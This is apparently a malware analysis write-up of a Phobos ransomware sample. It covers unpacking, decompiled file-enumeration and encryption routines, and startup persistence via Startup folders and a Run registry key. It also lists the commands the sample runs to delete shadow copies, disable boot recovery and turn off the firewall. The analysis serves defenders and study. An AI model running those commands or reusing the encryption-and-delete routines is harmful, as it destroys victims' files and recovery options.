Introduction

Phobos ransomware is a malicious software that has gained notoriety in the world of cyber threats. This ransomware strain is designed to encrypt a victim’s files and demand a ransom payment in exchange for the decryption key. In this article, we will explore the key characteristics and impact of Phobos ransomware.

File information

  • Analysis date: December 07, 2023 at 18:58:53
  • OS: Windows 10 Professional (build: 19044, 64 bit)
  • Tags: ransomware
  • File info: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
  • MD5: 1CEBF0114B0D9D55A9BE7E4448052033
  • SHA256: 763B04EF2D0954C7ECF394249665BCD71EEAFEBC3A66A27B010F558FD59DBDEB

Decompression

We will utilize UPX (Ultimate Packer for Executables) to decompress the malware. UPX is a popular open-source executable packer that is commonly used by malware authors to compress and obfuscate their code. By decompressing the malware using UPX, we aim to reveal the original code and gain a deeper understanding of its functionality and potential threat.

C:\ptktools\upx>upx -d phobos-vxug.exe -o phobos-vxug-decompress.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2022
UPX 4.0.1       Markus Oberhumer, Laszlo Molnar & John Reiser   Nov 16th 2022

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     68096 <-     51712   75.94%    win32/pe     phobos-vxug-decompress.exe

Unpacked 1 file.

C:\ptktools\upx>dir phobos*
 Volume in drive C is Windows X-Lite
 Volume Serial Number is EA0A-B8C4

 Directory of C:\ptktools\upx

12/04/2023  06:24 AM            68,096 phobos-vxug-decompress.exe
12/04/2023  06:24 AM            51,712 phobos-vxug.exe
               2 File(s)        119,808 bytes
               0 Dir(s)  159,802,298,368 bytes free

Files Search Process

The specific part of the code that handles the loop iterating over all the files. This loop is centered around the use of FindFirstFileW and FindNextFileW functions, which are used to traverse files in a directory on Windows.

The loop starts after a successful call to FindFirstFileW and continues as long as FindNextFileW finds new files. Here’s the code for this loop:

hFindFile = FindFirstFileW(v6, &FindFileData);
if (hFindFile != (HANDLE)-1) {
    do {
        // Skip the "." and ".." entries
        if (FindFileData.cFileName[0] != 46
            || FindFileData.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2])) {

            // Build the complete file path and call function `a2`
            v7 = sub_4090C6(a1);
            if (a4 >= v7 + sub_4090C6(FindFileData.cFileName) + 1) {
                sub_40927D(v6, a1);
                sub_4092B4(v6, &unk_40A208);
                sub_4092B4(v6, FindFileData.cFileName);
                v8 = a2(a1, v6, &FindFileData, a3);

                // Handle the return from function `a2`
                if (v8) {
                    if (v8 < 0)
                        break;
                    if (a5 && (FindFileData.dwFileAttributes & 0x10) != 0) {
                        v9 = sub_405D61(v6, a2, a3, a4, a5 - 1);
                        v13 += v9;
                    } else {
                        ++v13;
                    }
                }
            }
        }
    } while (FindNextFileW(hFindFile, &FindFileData));
    FindClose(hFindFile);
}

Explanation of the loop:

  • File Searching: FindFirstFileW starts the search, and FindNextFileW continues the search until there are no more files.

  • Filtering: The loop skips the “.” and “..” directory entries, which represent the current directory and the parent directory, respectively.

  • Path Building: For each file, the code constructs its full path using the functions sub_40927D and sub_4092B4.

  • Calling function a2: The function a2 is called with the file path, among other parameters.

  • Handling the return from a2: Depending on the return of a2, the loop may prematurely end, make a recursive call to sub_405D61 (if the file is a directory and a5 is positive), or simply increment the counter v13.

  • Closing the File Search: After the end of the loop, FindClose is called to close the file search handle.

Modification of file process

int __usercall sub_408782@<eax>(_DWORD *a1@<eax>, _BYTE *a2, LPCWSTR lpFileName, LPCWSTR a4, char a5)
{
  int v6; // eax
  _DWORD *v7; // ebx
  int v8; // eax
  int v9; // edi
  HANDLE FileW; // eax
  int v11; // ebx
  int v13; // [esp-Ch] [ebp-2A4h]
  _BYTE *v14; // [esp-8h] [ebp-2A0h]
  int v15; // [esp-4h] [ebp-29Ch]
  char v16[296]; // [esp+10h] [ebp-288h] BYREF
  char v17[300]; // [esp+138h] [ebp-160h] BYREF
  int v18; // [esp+264h] [ebp-34h]
  _BYTE *v19; // [esp+268h] [ebp-30h]
  _DWORD *v20; // [esp+26Ch] [ebp-2Ch]
  DWORD NumberOfBytesWritten; // [esp+270h] [ebp-28h] BYREF
  int v22; // [esp+274h] [ebp-24h]
  int v23; // [esp+278h] [ebp-20h]
  DWORD dwFlagsAndAttributes; // [esp+27Ch] [ebp-1Ch]
  LARGE_INTEGER liDistanceToMove; // [esp+280h] [ebp-18h] BYREF
  DWORD nNumberOfBytesToRead; // [esp+288h] [ebp-10h]
  DWORD nNumberOfBytesToWrite; // [esp+28Ch] [ebp-Ch] BYREF
  HANDLE hFile; // [esp+290h] [ebp-8h]
  HANDLE hObject; // [esp+294h] [ebp-4h]

  v23 = 0;
  nNumberOfBytesToRead = a1[9] - (a1[9] & 0xF);
  v19 = (_BYTE *)sub_408601(lpFileName);
  v6 = sub_4090C6(v19);
  v7 = (_DWORD *)a1[8];
  v18 = 2 * v6 + 2;
  v20 = v7 + 8;
  if ( ((2 * (_BYTE)v6 + 34) & 0xF) != 0 )
    v8 = 32 - ((2 * (_BYTE)v6 + 34) & 0xF) + 2 * v6 + 2 + 16;
  else
    v8 = 2 * v6 + 34;
  v22 = v8;
  v9 = (int)v7 + v8;
  hObject = (HANDLE)-1;
  dwFlagsAndAttributes = GetFileAttributesW(lpFileName);
  if ( nNumberOfBytesToRead >= v9 - a1[8] + 178 && GetFileAttributesW(a4) == -1 )
  {
    FileW = CreateFileW(lpFileName, 0xC0000000, 0, 0, 3u, 0, 0);
    hFile = FileW;
    if ( FileW != (HANDLE)-1 )
    {
      liDistanceToMove.QuadPart = 0i64;
      if ( SetFilePointerEx(FileW, 0i64, &liDistanceToMove, 2u) )
      {
        if ( liDistanceToMove.QuadPart )
        {
          liDistanceToMove.QuadPart = 0i64;
          if ( SetFilePointerEx(hFile, 0i64, &liDistanceToMove, 0) )
          {
            hObject = CreateFileW(a4, 0x40000000u, 1u, 0, 1u, dwFlagsAndAttributes, 0);
            if ( hObject != (HANDLE)-1 && !sub_40669B(v16, *a1, a2) )
            {
              while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
              {
                if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
                {
                  dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
                  sub_408FA9((char *)(nNumberOfBytesToWrite + a1[8]), 0, dwFlagsAndAttributes);
                  nNumberOfBytesToWrite += dwFlagsAndAttributes;
                }
                if ( !sub_406432((int)v16, a1[8], a1[8])
                  || !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
                  || NumberOfBytesWritten != nNumberOfBytesToWrite )
                {
                  break;
                }
                if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
                {
                  v15 = v18;
                  *v7 = 0;
                  v14 = v19;
                  v7[1] = 2;
                  v13 = (int)v20;
                  v7[2] = -257466862;
                  v7[6] = 32;
                  sub_408FD7(v13, v14, v15);
                  sub_408FD7(v9, (_BYTE *)a1 + 4, 20);
                  sub_408FD7(v9 + 20, a2, 16);
                  sub_408FD7(v9 + 40, (_BYTE *)(*a1 + 32), 128);
                  sub_408FD7(v9 + 172, (_BYTE *)a1 + 24, 6);
                  v11 = v22;
                  *(_DWORD *)(v9 + 36) = dwFlagsAndAttributes;
                  *(_DWORD *)(v9 + 168) = v11 + 178;
                  if ( !sub_40669B(v17, *a1, a2) )
                  {
                    if ( sub_406432((int)v17, a1[8], a1[8]) )
                    {
                      sub_408FA9(v17, 0, 0x128u);
                      if ( WriteFile(hObject, (LPCVOID)a1[8], *(_DWORD *)(v9 + 168), &NumberOfBytesWritten, 0) )
                      {
                        if ( NumberOfBytesWritten == *(_DWORD *)(v9 + 168) )
                        {
                          if ( (a5 & 4) != 0 )
                            sub_4086B7(hFile);
                          if ( (a5 & 2) != 0 )
                          {
                            FlushFileBuffers(hFile);
                            FlushFileBuffers(hObject);
                          }
                          v23 = 1;
                        }
                      }
                    }
                  }
                  break;
                }
              }
              sub_408FA9(v16, 0, 0x128u);
            }
          }
        }
      }
      CloseHandle(hFile);
      if ( hObject != (HANDLE)-1 )
        CloseHandle(hObject);
      if ( v23 )
      {
        DeleteFileW(lpFileName);
      }
      else if ( hObject != (HANDLE)-1 )
      {
        DeleteFileW(a4);
      }
    }
  }
  return v23;
}

This function, named sub_408782, performs several operations on files.

  1. Local Variable Declarations: The function starts by declaring a number of local variables, including integers, character arrays, HANDLEs, and other Windows-specific types.

  2. Initialization and Value Calculations:

    • It initializes nNumberOfBytesToRead based on a field from the a1 parameter.
    • It calls sub_408601 and sub_4090C6 with lpFileName, likely to get some information or transform this filename in a specific way.
  3. Checking Conditions before Proceeding:

    • It checks certain conditions regarding the read size and attributes of the files (named lpFileName and a4).
  4. Opening the Source File:

    • If the conditions are met, it opens the source file (lpFileName) for reading.
  5. Creating or Opening the Destination File:

    • It then attempts to create or open the destination file (a4).
  6. Read and Write Loop:

    • If the files are successfully opened, it enters a loop where it reads from the source file and writes to the destination file.
    • It seems to also perform adjustments to data block sizes and possibly encoding or formatting.
  7. End-of-File Processing:

    • After finishing processing the file content, it performs some final processing, which includes updating some data and writing a final data block to the destination file.
  8. Handle Management and Cleanup:

    • The function closes the HANDLEs of the opened files and, depending on the success of the operations, might delete either the source or the destination file.
  9. Return:

    • The function returns a value (v23), which is likely an indicator of the success or failure of the operations performed.

Example of creation of the first encrypted file

image

Encryption process

int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
  int v4; // ecx
  char *v5; // eax
  unsigned int v7; // ebx
  _BYTE *v8; // eax
  int v9; // esi
  int v10; // ebx
  _DWORD *v11; // esi
  _BYTE *v12; // eax
  int v13; // ecx
  _DWORD *v14; // esi
  bool v15; // zf
  int v16; // [esp+0h] [ebp-18h]
  int v17; // [esp+4h] [ebp-14h]
  int v18; // [esp+8h] [ebp-10h]
  int v19; // [esp+Ch] [ebp-Ch]
  int v20; // [esp+10h] [ebp-8h]
  unsigned int v21; // [esp+10h] [ebp-8h]
  int *v22; // [esp+14h] [ebp-4h]

  v5 = (char *)(a1 + 2);
  if ( (v4 & 0xF) != 0 )
    return -34;
  if ( a2 )
  {
    if ( v4 )
    {
      v10 = v5 - a3;
      v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
      do
      {
        v11 = a4;
        v12 = a3;
        v13 = 16;
        do
        {
          v12[(char *)a4 - a3] = *v12 ^ v12[v10];
          ++v12;
          --v13;
        }
        while ( v13 );
        if ( a2 == 1 )
          sub_406A04(a1);
        else
          sub_406F2A(a1);
        a3 += 16;
        a4 += 4;
        a1[2] = *v11;
        v14 = v11 + 1;
        a1[3] = *v14++;
        a1[4] = *v14;
        v10 -= 16;
        v15 = v21-- == 1;
        a1[5] = v14[1];
      }
      while ( !v15 );
    }
  }
  else if ( v4 )
  {
    v22 = (int *)a3;
    v20 = v5 - (char *)a4;
    v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
    do
    {
      v16 = *v22;
      v17 = v22[1];
      v18 = v22[2];
      v19 = v22[3];
      sub_406F2A(a1);
      v8 = a4;
      v9 = 16;
      do
      {
        *v8 ^= v8[v20];
        ++v8;
        --v9;
      }
      while ( v9 );
      v22 += 4;
      v20 -= 16;
      --v7;
      a1[2] = v16;
      a1[3] = v17;
      a1[4] = v18;
      a1[5] = v19;
      a4 = v8;
    }
    while ( v7 );
  }
  return 0;
}
int __usercall sub_406A04@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
  _DWORD *v3; // ecx
  unsigned int v4; // ebx
  _DWORD *v5; // ecx
  bool v6; // cc
  unsigned int v7; // edx
  unsigned int v8; // edi
  int v9; // edx
  int v11; // [esp+8h] [ebp-18h]
  int v12; // [esp+Ch] [ebp-14h]
  unsigned int v13; // [esp+10h] [ebp-10h]
  unsigned int v14; // [esp+10h] [ebp-10h]
  unsigned int v15; // [esp+14h] [ebp-Ch]
  unsigned int v16; // [esp+14h] [ebp-Ch]
  unsigned int v17; // [esp+14h] [ebp-Ch]
  unsigned int v18; // [esp+18h] [ebp-8h]
  int v19; // [esp+18h] [ebp-8h]
  unsigned int v20; // [esp+1Ch] [ebp-4h]
  unsigned int v21; // [esp+28h] [ebp+8h]
  unsigned int v22; // [esp+28h] [ebp+8h]

  v3 = (_DWORD *)a3[1];
  v20 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
  v18 = v3[1] ^ (a1[4] | ((a1[5] | ((a1[6] | (a1[7] << 8)) << 8)) << 8));
  v4 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
  v15 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
  v5 = v3 + 4;
  v11 = (*a3 >> 1) - 1;
  v6 = v11 <= 0;
  while ( !v6 )
  {
    v21 = v5[1] ^ dword_40D170[(unsigned __int8)v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
    v13 = v5[2] ^ dword_40D170[(unsigned __int8)v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
    v7 = *v5 ^ dword_40D170[(unsigned __int8)v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
    v16 = v5[3] ^ dword_40D170[(unsigned __int8)v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
    v20 = v5[4] ^ dword_40D170[(unsigned __int8)v7] ^ dword_40C570[HIBYTE(v16)] ^ dword_40CD70[BYTE1(v21)] ^ dword_40C970[BYTE2(v13)];
    v18 = v5[5] ^ dword_40D170[(unsigned __int8)v21] ^ dword_40C570[HIBYTE(v7)] ^ dword_40CD70[BYTE1(v13)] ^ dword_40C970[BYTE2(v16)];
    v4 = v5[6] ^ dword_40D170[(unsigned __int8)v13] ^ dword_40C570[HIBYTE(v21)] ^ dword_40C970[BYTE2(v7)] ^ dword_40CD70[BYTE1(v16)];
    v5 += 8;
    v6 = --v11 <= 0;
    v15 = *(v5 - 1) ^ dword_40D170[(unsigned __int8)v16] ^ dword_40C570[HIBYTE(v13)] ^ dword_40CD70[BYTE1(v7)] ^ dword_40C970[BYTE2(v21)];
  }
  v22 = v5[1] ^ dword_40D170[(unsigned __int8)v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
  v14 = v5[2] ^ dword_40D170[(unsigned __int8)v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
  v8 = *v5 ^ dword_40D170[(unsigned __int8)v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
  v17 = v5[3] ^ dword_40D170[(unsigned __int8)v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
  v19 = v5[5] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v22] ^ (((unsigned __int8)byte_40B448[BYTE1(v14)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v8)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v17)]) << 8)) << 8);
  v12 = v5[6] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v14] ^ (((unsigned __int8)byte_40B448[BYTE1(v17)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v22)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v8)]) << 8)) << 8);
  v9 = v5[7] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v17] ^ (((unsigned __int8)byte_40B448[BYTE1(v8)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v14)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v22)]) << 8)) << 8);
  *(_DWORD *)a2 = v5[4] ^ (unsigned __int8)byte_40B448[(unsigned __int8)v8] ^ (((unsigned __int8)byte_40B448[BYTE1(v22)] ^ ((((unsigned __int8)byte_40B448[HIBYTE(v17)] << 8) ^ (unsigned __int8)byte_40B448[BYTE2(v14)]) << 8)) << 8);
  *(_DWORD *)(a2 + 4) = v19;
  *(_WORD *)(a2 + 8) = v12;
  *(_BYTE *)(a2 + 11) = HIBYTE(v12);
  *(_WORD *)(a2 + 12) = v9;
  *(_BYTE *)(a2 + 14) = BYTE2(v9);
  *(_BYTE *)(a2 + 10) = BYTE2(v12);
  *(_BYTE *)(a2 + 15) = HIBYTE(v9);
  return 0;
}
int __usercall sub_406F2A@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
  _DWORD *v3; // ecx
  int v4; // ebx
  unsigned int v5; // edx
  _DWORD *v6; // ecx
  bool v7; // cc
  unsigned int v8; // edx
  unsigned int v9; // edi
  int v10; // edx
  int v11; // ebx
  int v13; // [esp+8h] [ebp-18h]
  unsigned int v14; // [esp+Ch] [ebp-14h]
  int v15; // [esp+Ch] [ebp-14h]
  unsigned __int8 v16; // [esp+10h] [ebp-10h]
  unsigned int v17; // [esp+10h] [ebp-10h]
  unsigned int v18; // [esp+10h] [ebp-10h]
  unsigned int v19; // [esp+14h] [ebp-Ch]
  unsigned int v20; // [esp+14h] [ebp-Ch]
  unsigned int v21; // [esp+18h] [ebp-8h]
  unsigned int v22; // [esp+1Ch] [ebp-4h]
  int v23; // [esp+1Ch] [ebp-4h]
  unsigned int v24; // [esp+28h] [ebp+8h]
  unsigned int v25; // [esp+28h] [ebp+8h]

  v3 = (_DWORD *)a3[1];
  v22 = v3[1] ^ (a1[4] | ((a1[5] | (*((unsigned __int16 *)a1 + 3) << 8)) << 8));
  v4 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
  v21 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
  v5 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
  v6 = v3 + 4;
  v14 = v4;
  v13 = (*a3 >> 1) - 1;
  v7 = v13 <= 0;
  while ( 1 )
  {
    v16 = v5;
    if ( v7 )
      break;
    v24 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
    v19 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
    v8 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
    v17 = v6[3] ^ dword_40C170[v16] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
    v14 = v6[4] ^ dword_40C170[(unsigned __int8)v24] ^ dword_40B548[HIBYTE(v8)] ^ dword_40B948[BYTE2(v19)] ^ dword_40BD70[BYTE1(v17)];
    v22 = v6[5] ^ dword_40C170[(unsigned __int8)v8] ^ dword_40B548[HIBYTE(v19)] ^ dword_40BD70[BYTE1(v24)] ^ dword_40B948[BYTE2(v17)];
    v4 = v14;
    v21 = v6[6] ^ dword_40C170[(unsigned __int8)v19] ^ dword_40B548[HIBYTE(v17)] ^ dword_40B948[BYTE2(v24)] ^ dword_40BD70[BYTE1(v8)];
    v6 += 8;
    v7 = --v13 <= 0;
    v5 = *(v6 - 1) ^ dword_40C170[(unsigned __int8)v17] ^ dword_40B548[HIBYTE(v24)] ^ dword_40B948[BYTE2(v8)] ^ dword_40BD70[BYTE1(v19)];
  }
  v25 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
  v9 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
  v20 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
  v18 = v6[3] ^ dword_40C170[(unsigned __int8)v5] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
  v15 = v6[4] ^ (unsigned __int8)byte_40D570[*(_BYTE *)v6 ^ LOBYTE(dword_40C170[(unsigned __int8)v4]) ^ LOBYTE(dword_40B548[HIBYTE(v22)]) ^ LOBYTE(dword_40B948[BYTE2(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v18)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v9)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v20)]) << 8)) << 8);
  v23 = v6[5] ^ (unsigned __int8)byte_40D570[*((_BYTE *)v6 + 4) ^ LOBYTE(dword_40C170[(unsigned __int8)v22]) ^ LOBYTE(dword_40B548[HIBYTE(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v4)]) ^ LOBYTE(dword_40B948[BYTE2(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v25)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v20)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v18)]) << 8)) << 8);
  v10 = v6[6] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v20] ^ (((unsigned __int8)byte_40D570[BYTE1(v9)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v18)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v25)]) << 8)) << 8);
  v11 = v6[7] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v18] ^ (((unsigned __int8)byte_40D570[BYTE1(v20)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v25)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v9)]) << 8)) << 8);
  *(_DWORD *)a2 = v15;
  *(_WORD *)(a2 + 4) = v23;
  *(_BYTE *)(a2 + 7) = HIBYTE(v23);
  *(_BYTE *)(a2 + 9) = BYTE1(v10);
  *(_BYTE *)(a2 + 10) = BYTE2(v10);
  *(_WORD *)(a2 + 12) = v11;
  *(_BYTE *)(a2 + 8) = v10;
  *(_BYTE *)(a2 + 14) = BYTE2(v11);
  *(_BYTE *)(a2 + 15) = HIBYTE(v11);
  *(_BYTE *)(a2 + 6) = BYTE2(v23);
  *(_BYTE *)(a2 + 11) = HIBYTE(v10);
  return 0;
}

The added functions, sub_406A04 and sub_406F2A, appear to be implementations of specific steps in an encryption or decryption algorithm, likely a variant of a block cipher algorithm such as AES (Advanced Encryption Standard) or similar. These functions involve a combination of bit manipulations and access to predefined arrays (like dword_40D170, byte_40B448, etc.), which are typical for substitution and permutation operations in cryptographic algorithms.

Here’s a more detailed summary of each function:

  1. sub_406A04:

    • This function performs multiple encryption operations on data blocks. It uses XOR operations (^), bit shifting, and array accesses to transform the input data.
    • Arrays like dword_40D170, dword_40C570, etc., are probably substitution tables used to mix and substitute data in a non-linear way.
    • The function seems to perform several rounds of transformation, which is common in block cipher algorithms.
  2. sub_406F2A:

    • This function has a structure similar to sub_406A04, also performing operations on data blocks using XOR operations, bit shifts, and array accesses.
    • It uses different arrays, suggesting that it might perform a different or complementary operation (perhaps decryption or a different step of the encryption process).

These functions, in combination with the main function sub_407447, indicate that the code is part of a data encryption/decryption system. The main function sub_407447 seems to orchestrate the process by calling sub_406A04 or sub_406F2A based on certain conditions and processing data in 16-byte blocks.

Startup process

The malware appears to replicate itself into the following directories to ensure it is executed upon the computer’s startup:

  1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  2. C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  3. C:\Users\Admin\AppData\Local

phobos

phobos

phobos

phobos

The malware adds an entry to the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run to ensure it launches every time the computer starts up.

phobos

Extra Syntax

phobos

  1. vssadmin delete shadows /all /quiet: This command deletes all volume snapshots (Shadow Copies) on the system. Volume snapshots are used to back up copies of files at a given point in time, allowing you to restore files from these copies in the future. Using this command will remove all existing volume snapshots on the system.

  2. wmic shadowcopy delete: This command also deletes volume snapshots. It is another way to perform the same operation as the previous command.

  3. bcdedit /set {default} bootstatuspolicy ignoreallfailures: This command configures the boot status policy option for the default profile (typically the profile used to boot Windows) to ignore all boot failures. This means that Windows will start even if there is a boot failure without displaying an error.

  4. bcdedit /set {default} recoveryenabled no: This command disables the automatic recovery feature of Windows for the default profile. Automatic recovery is a feature that can attempt to repair boot problems using built-in recovery tools.

  5. wmic shadowcopy delete: Once again, this command is used to delete volume snapshots. It is repeated in the list.

  6. netsh advfirewall set currentprofile state off: This command turns off the Windows Firewall for the current network profile (e.g., “Public” or “Private”). By setting the state to “off,” the Windows Firewall will no longer filter incoming or outgoing network traffic for the current profile. This can make your system more vulnerable to security threats, so it is recommended to disable the firewall only if you have valid reasons and have other security measures in place.

  7. netsh firewall set opmode mode=disable: This command disables the Windows Firewall entirely, regardless of the network profile. It sets the operating mode (opmode) of the Windows Firewall to “disable.” This means that the Windows Firewall will no longer protect your system against network threats, which can pose a security risk.

Ransomware Note

Link to the Ransomware note

Sponsored by logo any.run


<
Previous Post
Wannacry Ransomware family discovery
>
Next Post
Dharma Ransomware family